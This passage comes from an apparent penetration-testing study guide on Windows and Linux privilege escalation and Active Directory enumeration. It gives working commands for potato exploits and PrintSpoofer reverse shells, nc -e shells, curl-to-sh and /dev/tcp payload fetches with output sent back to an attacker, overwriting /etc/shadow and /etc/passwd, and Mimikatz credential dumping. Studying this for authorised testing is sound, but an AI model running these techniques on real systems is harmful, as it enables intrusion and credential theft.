file://c:/windows/system32/cmd.exe
```

6. Press Enter. A command prompt should open running with admin privileges.

## <mark style="color:red;">Startup Apps</mark>

Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: **C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp** If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.

Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file:

{% code title="CreateShortcut.vbs" %}

```visual-basic
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
```

{% endcode %}

1. Use accesschk.exe to check permissions on the StartUp directory:

```
> .\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```

2. Note that the BUILTIN\Users group has write access to this directory.
3. Create a file CreateShortcut.vbs with the VBScript provided in a previous slide. Change file paths if necessary.
4. Run the script using cscript:

```
> cscript CreateShortcut.vbs
```

5. Start a listener on Kali, then log in as the admin user to trigger the exploit.

## <mark style="color:red;">Installed Applications</mark>

Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations results from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.

Manually enumerate all running programs:

```
> tasklist /v
```

We can also use Seatbelt to search for nonstandard processes:

```
> .\seatbelt.exe NonstandardProcesses
```

winPEAS also has this ability (note the misspelling):

```
> .\winPEASany.exe quiet procesinfo
```

Once you find an interesting process, try to identify its version. You can try running the executable with /? or -h, as well as checking config or text files in the Program Files directory. Use Exploit-DB to search for a corresponding exploit. Some exploits contain instructions, while others are code that you will need to compile and run.

## <mark style="color:red;">Hot Potato</mark>

Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.

{% hint style="info" %}
These steps are for Windows 7
{% endhint %}

1. Copy the potato.exe exploit executable over to Windows.
2. Start a listener on Kali.
3. Run the exploit:

```
.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
```

4. Wait for a Windows Defender update, or trigger one manually.

## <mark style="color:red;">Service Accounts (Rotten Potato / Juicy Potato)</mark>

### <mark style="color:blue;">Rotten Potato</mark>

The original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.

### <mark style="color:blue;">Juicy Potato</mark>

Juicy Potato works in the same way as Rotten Potato, but the authors did extensive research and found many more ways to exploit.&#x20;

Juicy Potato is available here:&#x20;

{% embed url="<https://github.com/ohpe/juicy-potato>" %}

{% file src="/files/L7e1dUotCgoXtLZObhPe" %}

{% hint style="info" %}
These steps are for Windows 7
{% endhint %}

1. Copy PSExec64.exe and the JuicyPotato.exe exploit executable over to Windows.
2. Start a listener on Kali.
3. Using an administrator command prompt, use PSExec64.exe to trigger a reverse shell running as the Local Service service account:

```
> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
```

4. Start another listener on Kali.
5. Now run the JuicyPotato exploit to trigger a reverse shell running with SYSTEM privileges:

```
> C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
```

6. If the CLSID ({03ca...) doesn’t work for you, either check this list or run the **GetCLSID.ps1 PowerShell script**.:&#x20;

{% embed url="<https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md>" %}

### <mark style="color:blue;">SeImpersonatePrivilege</mark>

Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.

For most recent Windows builds we can user PrintSpoofer.exe instead JuicyPotato.exe.

#### Access Token Abuse

Abuse is possible if SeImpersonatePrivilege or SeAssignPrimaryPrivilege is enabled.

* Windows CLSIDs: <http://ohpe.it/juicy-potato/CLSID/>

#### <mark style="color:yellow;">JuicyPotato - All older versions of Windows</mark>

```powershell
# edit nc.bat with correct params and transfer to remote host
cmd> whoami /priv
cmd> JuicyPotato.exe -p C:\inetpub\wwwroot\nc.bat -l 443 -t * -c

# Exploit failed - incorrect CLSID
Testing {4991D34B-80A1-4291-B697-000000000000} 443
COM -> recv failed with error: 10038

# Exploit worked - correct CLSID
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 443
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
```

#### <mark style="color:yellow;">PrintSpoofer - Windows 10 and Server 2016/2019</mark>

**PrintSpoofer.exe** is available here:&#x20;

{% embed url="<https://github.com/itm4n/PrintSpoofer>" %}

* Leverages the Print Spooler service to get a SYSTEM token, then run a custom command

```
# spawn a SYSTEM command prompt
cmd> printspoofer.exe -i -c cmd

# get a SYSTEM reverse shell
cmd> printspoofer.exe -c "C:\temp\nc.exe [LHOST] [LPORT] -e cmd.exe"
```

## <mark style="color:red;">Port Forwarding</mark>

Sometimes it is easier to run exploit code on Kali, but the vulnerable program is listening on an internal port. In these cases we need to forward a port on Kali to the internal port on Windows. We can do this using a program called plink.exe (from the makers of PuTTY).

The general format of a port forwarding command using plink.exe:

```
> plink.exe <user>@<kali> -R <kali-port>:<target-IP>:<target-port>
```

Note that the is usually local (e.g. 127.0.0.1). plink.exe requires you to SSH to Kali, and then uses the SSH tunnel to forward ports.

1. First, test that we can still login remotely via winexe:

```
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
```

2. Using an administrator command prompt, re-enable the firewall:

```
> netsh advfirewall set allprofiles state on
```

3. Confirm that the winexe command now fails.
4. Copy the plink.exe file across to Windows, and then kill the SMB Server on Kali (if you are using it).
5. Make sure that the SSH server on Kali is running and accepting root logins. Check that the “PermitRootLogin yes” option is uncommented in /etc/ssh/sshd\_config. Restart the SSH service if necessary.
6. On Windows, use plink.exe to forward port 445 on Kali to the Windows port 445:

```
> plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
```

7. On Kali, modify the winexe command to point to localhost (or 127.0.0.1) instead, and execute it to get a shell via the port forward:

```
# winexe -U 'admin%password123' //localhost cmd.exe
```

## <mark style="color:red;">getsystem (Named Pipes & Token Duplication)</mark>

### <mark style="color:blue;">Access Tokens</mark>

Access Tokens are special objects in Windows which store a user’s identity and privileges. Primary Access Token – Created when the user logs in, bound to the current user session. When a user starts a new process, their primary access token is copied and attached to the new process. Impersonation Access Token – Created when a process or thread needs to temporarily run with the security context of another user.

### <mark style="color:blue;">Token Duplication</mark>

Windows allows processes/threads to duplicate their access tokens. An impersonation access token can be duplicated into a primary access token this way. If we can inject into a process, we can use this functionality to duplicate the access token of the process, and spawn a separate process with the same privileges.

### <mark style="color:blue;">Named Pipes</mark>

You may be already familiar with the concept of a “pipe” in Windows & Linux:

```
> systeminfo | findstr Windows
```

A named pipe is an extension of this concept. A process can create a named pipe, and other processes can open the named pipe to read or write data from/to it. The process which created the named pipe can impersonate the security context of a process which connects to the named pipe.

### <mark style="color:blue;">getsystem</mark>

The “getsystem” command in Metasploit’s Meterpreter shell has an almost mythical status. By running this simple command, our privileges are almost magically elevated to that of the SYSTEM user. What does it actually do?

The source code for the getsystem command can be found here:&#x20;

{% embed url="<https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter/source/extensions/priv>" %}

Three files are worth looking through: elevate.c, namedpipe.c, and tokendup.c There are 3 techniques getsystem can use to “get system”.

getsystem was designed as a tool to escalate privileges from a local admin to SYSTEM. The Named Pipe techniques require local admin permissions. The Token Duplication technique only requires the SeDebugPrivilege privilege, but is also limited to x86 architectures. getsystem should not be thought of as a user -> admin privilege escalation method in modern systems.

#### <mark style="color:yellow;">Named Pipe Impersonation (In Memory/Admin)</mark>

Creates a named pipe controlled by Meterpreter. Creates a service (running as SYSTEM) which runs a command that interacts directly with the named pipe. Meterpreter then impersonates the connected process to get an impersonation access token (with the SYSTEM security context). The access token is then assigned to all subsequent Meterpreter threads, meaning they run with SYSTEM privileges.

#### <mark style="color:yellow;">Named Pipe Impersonation (Dropper/Admin)</mark>

Very similar to Named Pipe Impersonation (In Memory/Admin). Only difference is a DLL is written to disk, and a service created which runs the DLL as SYSTEM. The DLL connects to the named pipe.

#### <mark style="color:yellow;">Token Duplication (In Memory/Admin)</mark>

This technique requires the “SeDebugPrivilege”. It finds a service running as SYSTEM which it injects a DLL into. The DLL duplicates the access token of the service and assigns it to Meterpreter. Currently this only works on x86 architectures. This is the only technique that does not have to create a service, and operates entirely in memory.

## <mark style="color:red;">User Privileges</mark>

In Windows, user accounts and groups can be assigned specific “privileges”. These privileges grant access to certain abilities. Some of these abilities can be used to escalate our overall privileges to that of SYSTEM. Highly detailed paper:&#x20;

{% embed url="<https://github.com/hatRiot/token-priv>" %}

The whoami command can be used to list our user’s privileges, using the /priv option:&#x20;

`whoami /priv`&#x20;

Note that “disabled” in the state column is irrelevant here. If the privilege is listed, your user has it.

### <mark style="color:blue;">SeAssignPrimaryPrivilege</mark>

The SeAssignPrimaryPrivilege is similar to SeImpersonatePrivilege. It enables a user to assign an access token to a new process. Again, this can be exploited with the Juicy Potato exploit.

### <mark style="color:blue;">SeBackupPrivilege</mark>

The SeBackupPrivilege grants read access to all objects on the system, regardless of their ACL. Using this privilege, a user could gain access to sensitive files, or extract hashes from the registry which could then be cracked or used in a pass-the-hash attack.

### <mark style="color:blue;">SeRestorePrivilege</mark>

The SeRestorePrivilege grants write access to all objects on the system, regardless of their ACL. There are a multitude of ways to abuse this privilege:&#x20;

* Modify service binaries.&#x20;
* Overwrite DLLs used by SYSTEM processes&#x20;
* Modify registry settings.

### <mark style="color:blue;">SeTakeOwnershipPrivilege</mark>

The SeTakeOwnershipPrivilege lets the user take ownership over an object (the WRITE\_OWNER permission). Once you own an object, you can modify its ACL and grant yourself write access. The same methods used with SeRestorePrivilege then apply.

### <mark style="color:blue;">Other Privileges (More Advanced)</mark>

* SeTcbPrivilege
* SeCreateTokenPrivilege
* SeLoadDriverPrivilege
* SeDebugPrivilege (used by getsystem)

## <mark style="color:red;">UAC BYPASS</mark>

{% embed url="<https://github.com/CsEnox/EventViewer-UACBypass>" %}

### <mark style="color:blue;">EventViewer-UACBypass</mark>

#### Usage

```
PS C:\Windows\Tasks> Import-Module .\Invoke-EventViewer.ps1

PS C:\Windows\Tasks> Invoke-EventViewer 
[-] Usage: Invoke-EventViewer commandhere
Example: Invoke-EventViewer cmd.exe

PS C:\Windows\Tasks> Invoke-EventViewer cmd.exe
[+] Running
[1] Crafting Payload
[2] Writing Payload
[+] EventViewer Folder exists
[3] Finally, invoking eventvwr
```


# Linux Privesc

## <mark style="color:red;">Introduction</mark>

1. Use the "id" and "whoami" commands to check your user account.
2. Execute [Linux Smart Enumeration](#linux-smart-enumeration) (lse.sh) with progressively increasing levels to gather more detailed information about the system.
3. Run [LinEnum ](#linenum)and other relevant scripts to identify potential vulnerabilities and security-related issues that may lead to privilege escalation.

Take the time to carefully review the results of your enumeration. If Linux Smart Enumeration at level 0 or 1 identifies something noteworthy, make a note of it. To avoid getting sidetracked, make a checklist of the prerequisites needed for the privilege escalation method to work.&#x20;

Check for files in the user's home directory and other common locations, such as "/var/backup" or "/var/logs". If the user has a history file, read it as it may contain valuable information like commands or passwords.&#x20;

Start with simpler methods that require fewer steps, such as Sudo, Cron Jobs, and SUID files. Examine root processes, determine their versions, and search for potential exploits. Look for internal ports that can be forwarded to your attack machine.&#x20;

If you still haven't obtained root access, go back and review the full enumeration results again, and highlight anything that appears unusual, such as unfamiliar process or file names, non-standard filesystems (anything other than ext, swap, or tmpfs on Linux), or unusual usernames. At this point, you can also begin exploring the possibility of kernel exploits.

## <mark style="color:red;">Tools</mark>

### <mark style="color:blue;">Linux Smart Enumeration</mark>

Download from [here](< https://github.com/diego-treitos/linux-smart-enumeration>).

Linux Smart Enumeration has several levels that progressively disclose more detailed information.

```bash
wget http://<kali_ip>:<port>/lse.sh #Download it from Kali
chmod +x lse.sh
./lse.sh -i -C | grep yes
./lse.sh -s <SELECTION> -l <LEVEL_0-2>
```

<details>

<summary>How to use lse.sh</summary>

The idea is to get the information gradually.

First you should execute it just like `./lse.sh`. If you see some green `yes!`, you probably have already some good stuff to work with.

If not, you should try the `level 1` verbosity with `./lse.sh -l1` and you will see some more information that can be interesting.

If that does not help, `level 2` will just dump everything you can gather about the service using `./lse.sh -l2`. In this case you might find useful to use `./lse.sh -l2 | less -r`.

You can also select what tests to execute by passing the `-s` parameter. With it you can select specific tests or sections to be executed. For example `./lse.sh -l2 -s usr010,net,pro` will execute the test `usr010` and all the tests in the sections `net` and `pro`.

```
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurren tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
                 cve: CVE related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
```

</details>

### <mark style="color:blue;">LinEnum</mark>

Download from [here](< https://github.com/rebootuser/LinEnum>).

LinEnum is a powerful Bash script that can extract a wealth of valuable information from a target system. The tool can also copy important files for export and search for files that contain specific keywords, such as "password".

### <mark style="color:blue;">LinPEAS</mark>

Downlaod from [here](https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh).

Run LinPEAS saving colors:

<pre class="language-bash"><code class="lang-bash">./linpeas.sh | tee -a linpeas.out

# Upload the file to Kali
<strong>systemctl stop ssh.socket
</strong>scp /tmp/linpeas.out kali@&#x3C;kali_ip>:/home/kali/Offensive/PGs/
</code></pre>

```bash
# Local network
sudo python -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
```

```bash
# Output to file
./linpeas.sh -a > ./linpeas.out #Victim
less -r /dev/shm/linpeas.txt #Read with colors
```

```bash
# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
```

## <mark style="color:red;">Kernel Exploits</mark>

Locating and utilizing kernel exploits is typically a straightforward process:

* Perform enumeration to identify the kernel version (using a command such as "uname -a").
* Search for relevant exploits that match the kernel version on search engines like Google, ExploitDB, or GitHub.
* Compile and execute the exploit, but exercise caution as kernel exploits can be unstable, single-use only, and may cause system crashes.

1. Enumerate the kernel version:

```bash
uname -a
    Linux debian 2.6.32-5-amd64 1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/Linux
```

2. Use searchsploit to find matching exploits:

```
searchsploit linux kernel 2.6.32 priv esc
```

3. We can try and adjust our search to be less specific with the kernel version, but more specific with the distribution:

```
searchsploit linux kernel 2.6 priv esc debian
```

4. Install Linux Exploit Suggester 2 (<https://github.com/jondonas/linux-exploit-> suggester-2) and run the tool against the original kernel version:&#x20;

```bash
./linux-exploit-suggester-2.pl –k 2.6.32
```

## <mark style="color:red;">Service Exploits</mark>

To display all processes that are currently running with root privileges, use the following command:

```
ps aux | grep "^root"
```

With any results, try to identify the version number of the program being executed.

Running the program with the --version/-v command line option often shows the version number:

```
<program> --version
<program> -v
```

On Debian-like distributions, dpkg can show installed programs and their version:

```
dpkg -l | grep <program>
```

On systems that use rpm, the following achieves the same:

```
rpm –qa | grep <program>
```

### <mark style="color:blue;">Port Forwarding</mark>

In certain cases, a root process may be linked to an internal port for communication purposes. If, for any reason, you cannot run an exploit on the target machine itself, you can forward the port to your local machine using SSH:

```
ssh -R <local-port>:127.0.0.1:<target-port> <username>@<local-machine>
```

The exploit code can now be run on your local machine at whichever port you chose.

## <mark style="color:red;">Weak File Permissions</mark>

Find all writable files in /etc:

```
find /etc -maxdepth 1 -writable -type f
```

Find all readable files in /etc:

```
find /etc -maxdepth 1 -readable -type f
```

Find all directories which can be written to:

```
find / -executable -writable -type d 2> /dev/null
```

### <mark style="color:blue;">World Readable /etc/shadow</mark>

1. Check the permissions of the /etc/shadow file and note that it is world readable:

```
ls -l /etc/shadow
    -rw-r—rw- 1 root shadow 810 May 13 2017 /etc/shadow
```

2. Extract the root user’s password hash:

<pre><code>head -n 1 /etc/shadow
    root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXv
<strong>    RDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
</strong></code></pre>

3. Save the password hash in a file (e.g. hash.txt):

```
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt'
```

4. Crack the password hash using john:

```
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

5. Use the su command to switch to the root user, entering the password we cracked when prompted:

```
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)
```

### <mark style="color:blue;">World Writable /etc/shadow</mark>

1. Check the permissions of the /etc/shadow file and note that it is world writable:

```
ls -l /etc/shadow
    -rw-r—rw- 1 root shadow 810 May 13 2017 /etc/shadow
```

2. Copy / save the contents of /etc/shadow so we can restore it later.
3. Generate a new SHA-512 password hash:

```
mkpasswd -m sha-512 newpassword
    $6$DoH8o2GhA$5A7DHvXfkIQO1Zctb834b.SWIim2NBNys9D9h5wUvYK3IOGdxoOlL9VE
    WwO/okK3vi1IdVaO9.xt4IQMY4OUj/
```

4. Edit the /etc/shadow and replace the root user’s password hash with the one we generated.

```
root:$6$DoH8o2GhA$5A7DHvXfkIQO1Zctb834b.SWIim2NBNys9D9h5wUvYK3IOGdxoO
lL9VEWwO/okK3vi1IdVaO9.xt4IQMY4OUj/:17298:0:99999:7:::
```

5. Use the su command to switch to the root user, entering the new password when prompted:

```
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)
```

### <mark style="color:blue;">World Writable /etc/passwd</mark>

The root account in /etc/passwd is usually configured like this:

`root:x:0:0:root:/root:/bin/bash`

The “x” in the second field instructs Linux to look for the password hash in the /etc/shadow file.

In some versions of Linux, it is possible to simply delete the “x”, which Linux interprets as the user having no password:

`root::0:0:root:/root:/bin/bash`

1. Check the permissions of the /etc/passwd file and note that it is world writable.:

```
ls -l /etc/passwd
    -rw-r--rw- 1 root root 951 May 13 2017 /etc/passwd
```

2. Generate a password hash for the password “password” using openssl:

```
openssl passwd "password"
    L9yLGxncbOROc
```

3. Edit the /etc/passwd file and enter the hash in the second field of the root user row:

```
root:L9yLGxncbOROc:0:0:root:/root:/bin/bash
```

4. Use the su command to switch to the root user:

```
su
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
```

5. Alternatively, append a new row to /etc/passwd to create an alternate root user (e.g. newroot):

```
newroot:L9yLGxncbOROc:0:0:root:/root:/bin/bash
```

6. Use the su command to switch to the newroot user:

```
su newroot
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
```

## <mark style="color:red;">SUIDs and GUIDs</mark>

We can use `find` to locate SUID programs and discover which programs are SUID:

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

Next we can use this source to find exploitable methods of the found binary:

GTFO Bins:&#x20;

{% embed url="<https://gtfobins.github.io/>" %}

## <mark style="color:red;">Stored Passwords</mark>

View the contents of hidden files in the user’s home directory:

```
$ cat ~/.*history | less
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
```

You can also check for configuration files inside the OS.

## <mark style="color:red;">NFS</mark>

Show the NFS server’s export list:

```
$ showmount -e <target>
```

Similar Nmap script:

```
$ nmap –sV –script=nfs-showmount <target>
```

Mount an NFS share:

```
$ mount -o rw,vers=2 <target>:<share> <local_directory>
```


# Active Directory


# AD Manual Enumeration

## <mark style="color:red;">Users / Groups / Computers</mark>

* Look for users with high-privs across the domain e.g. Domain Admins or Derivative Local Admins
* Look for custom groups.

```powershell
# get a list of all users in the domain
cmd> net user /domain
PS > Get-NetUser | select cn # Using PowerView.ps1

# get details about a specific user 
cmd> net user [username] /domain # more than 10 group memberships, cmd will fail
PS > Get-ADUser -Identity <username> -Server asd.domain.com -Properties * # Powershell

# get list of all groups in the domain
cmd> net group /domain
PS > Get-ADUser -Filter 'Name -like "*lorenzo"' -Server asd.domain.com | Format-Table Name,SamAccountName -A
PS > Get-NetGroup -GroupName * # Using PowerView.ps1

# enumerate AD groups
PS > Get-ADGroup -Identity Administrators -Server asd.domain.com

# get details such as membership to a group
cmd> net group [groupname] /domain
PS > Get-ADGroupMember -Identity Administrators -Server domain.com # Powershell

# get the password policy of the domain
cmd> net accounts /domain

# get all AD objects that were changed after a specific date
PS > $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
PS > Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server asd.domain.com

# enumerate accounts that have a badPwdCount that is greater than 0
# useful to avoid these accounts in our bruteforce attacks
PS > Get-ADObject -Filter 'badPwdCount -gt 0' -Server domain.com

# get additional information about the specific domain
PS> Get-ADDomain -Server asd.domain.com

# get all computers in domain
cmd> net view
cmd> net view /domain

# get resources/shares of specified computer
cmd> net view \\[computer_name] /domain

# get a list of all operating systems on the domain 
PS > Get-NetComputer -fulldata | select operatingsystem # Using PowerView.ps1
```

Domain Controller hostname (PdcRoleOwner)\*\*

```powershell
PS> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```

This PowerShell script will collect all users along with their attributes:

```powershell
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "------------------------"
}
```

In the filter property, we can set any attribute of the object type we desire. For example, we can use the *name* property to create a filter for the Jeff\_Admin user as shown below:

```
$Searcher.filter="name=Jeff_Admin"
```

## <mark style="color:red;">Nested Groups</mark>

Locate all groups in the domain and print their names:

<pre class="language-powershell"><code class="lang-powershell">$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=<a data-footnote-ref href="#user-content-fn-1">Group</a>)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.name
}
</code></pre>

List the members of a group by setting an appropriate filter on the *name* property. In addition, we will only display the *member* attribute to obtain the group members.

<pre class="language-powershell"><code class="lang-powershell">$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=<a data-footnote-ref href="#user-content-fn-1">GROUPNAME</a>)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.<a data-footnote-ref href="#user-content-fn-1">member</a>
}
</code></pre>

## <mark style="color:red;">Logged-in users and active user sessions</mark>

* More powerview commands <https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview>

```powershell
PS> Set-ExecutionPolicy Unrestricted
PS> Import-Module .\PowerView.ps1
PS> Get-NetLoggedon -ComputerName [computer_name]    # enum logged-in users
PS> Get-NetSession -ComputerName [domain_controller] # enum active user sessions
```

## <mark style="color:red;">Service Principal Names (AD Service Accounts)</mark>

* A SPN is a unique name for a service on a host, used to associate with an Active Directory service account.
* Enum SPNs to obtain the IP address and port number of apps running on servers integrated with Active Directory.
* Query the Domain Controller in search of SPNs.
* SPN Examples
  * `CIFS/MYCOMPUTER$` - file share access.
  * `LDAP/MYCOMPUTER$` - querying AD info via. LDAP.
  * `HTTP/MYCOMPUTER$` - Web services such as IIS.
  * `MSSQLSvc/MYCOMPUTER$` - MSSQL.

For example, let's update our PowerShell enumeration script to filter the *serviceprincipalname* property for the string *\*http\**, indicating the presence of a registered web server:

```powershell
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
}
```

* Perform `nslookup` of the service hostname -> see if there is an entrypoint here.
* Automated SPN enum scripts:

```powershell
# Kerberoast: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
PS> .\GetUserSPNs.ps1

# Powershell Empire: https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
PS> .\Get-SPN.ps1
```

[^1]:


# AD Automatic Enumeration

## <mark style="color:red;">Sharpound</mark>

There are two different Sharphound collectors:

**SharpHound.ps1**: PowerShell script for running Sharphound. However, the latest release of Sharphound has stopped releasing the Powershell script version. This version is good to use with RATs since the script can be loaded directly into memory, evading on-disk AV scans.

SharpHound.exe: a Windows executable version for running Sharphound.

Both are available here:

{% embed url="<https://github.com/BloodHoundAD/SharpHound/releases>" %}

Run Sharphound using the All and Session collection methods:

```powershell
cmd> Sharphound.exe --CollectionMethods All --Domain asd.domain.com --ExcludeDCs 
```

Once completed, you will have a timestamped ZIP file in the same folder you executed Sharphound from.

## <mark style="color:red;">BloodHound</mark>

From Kali:

```
neo4j console start
```

In another Terminal tab, run:

```bash
bloodhound --no-sandbox # This will show you the authentication GUI
```

{% hint style="info" %}
The default credentials for the neo4j database will be `neo4j:neo4j`
{% endhint %}

Drag and drop the ZIP file onto the Bloodhound GUI to import it.


# AD Authentication

## <mark style="color:red;">Dumping NTLM Hashes and Plaintext Credentials</mark>

NTLM authentication uses a challenge-response model, where a nonce/challenge encrypted using the user's NTLM hash is validated by the Domain Controller.

Dumping LM/NTLM hashes with Mimikatz

* [Full Mimikatz Guide](https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords)
* Requires local admin rights.

```bash
# escalate security token to SYSTEM integrity
mimikatz > privilege::debug
mimikatz > token::elevate

# dump NTLM hashes + plaintext creds
mimikatz.exe lsadump::secrets "vault::cred /patch" lsadump::sam
mimikatz > lsadump::secrets
mimikatz > vault::cred /patch
mimikatz > lsadump::sam              # dump contents of SAM db in current host
mimikatz > sekurlsa::logonpasswords  # dump creds of logged-on users
```

Other tools

```bash
cmd> pwdump.exe localhost
cmd> fgdump.exe localhost          # improved pwdump, shutdown firewalls 
cmd> type C:\Windows\NTDS\NTDS.dit # all domain hashes in NTDS.dit file on the Domain Controller
```

## <mark style="color:red;">Dumping Kerberos Tickets</mark>

Kerberos authentication uses a ticketing system, where a Ticket Granting Ticket (TGT) is issued by the Domain Controller (with the role of Key Distribution Center (KDC)) and is used to request tickets from the Ticket Granting Service (TGS) for access to resources/systems joined to the domain.

* Hashes are stored in the Local Security Authority Subsystem Service (LSASS).
* LSASS process runs as SYSTEM, so we need SYSTEM / local admin to dump hashes stored on target.

Dumping Kerberos TGT/TGS tickets with Mimikatz

```bash
mimikatz > sekurlsa::tickets
```

See "[Service Account Attacks](/active-directory/ad-lateral-movement#service-account-attacks)" on how to abuse dumped tickets.


# AD Lateral Movement

Useful [Powershell one-liners](https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70).

Useful [lateral movement techniques](https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/).

[Abusing Kerberos](https://www.hackingarticles.in/abusing-kerberos-using-impacket/) using Impacket.

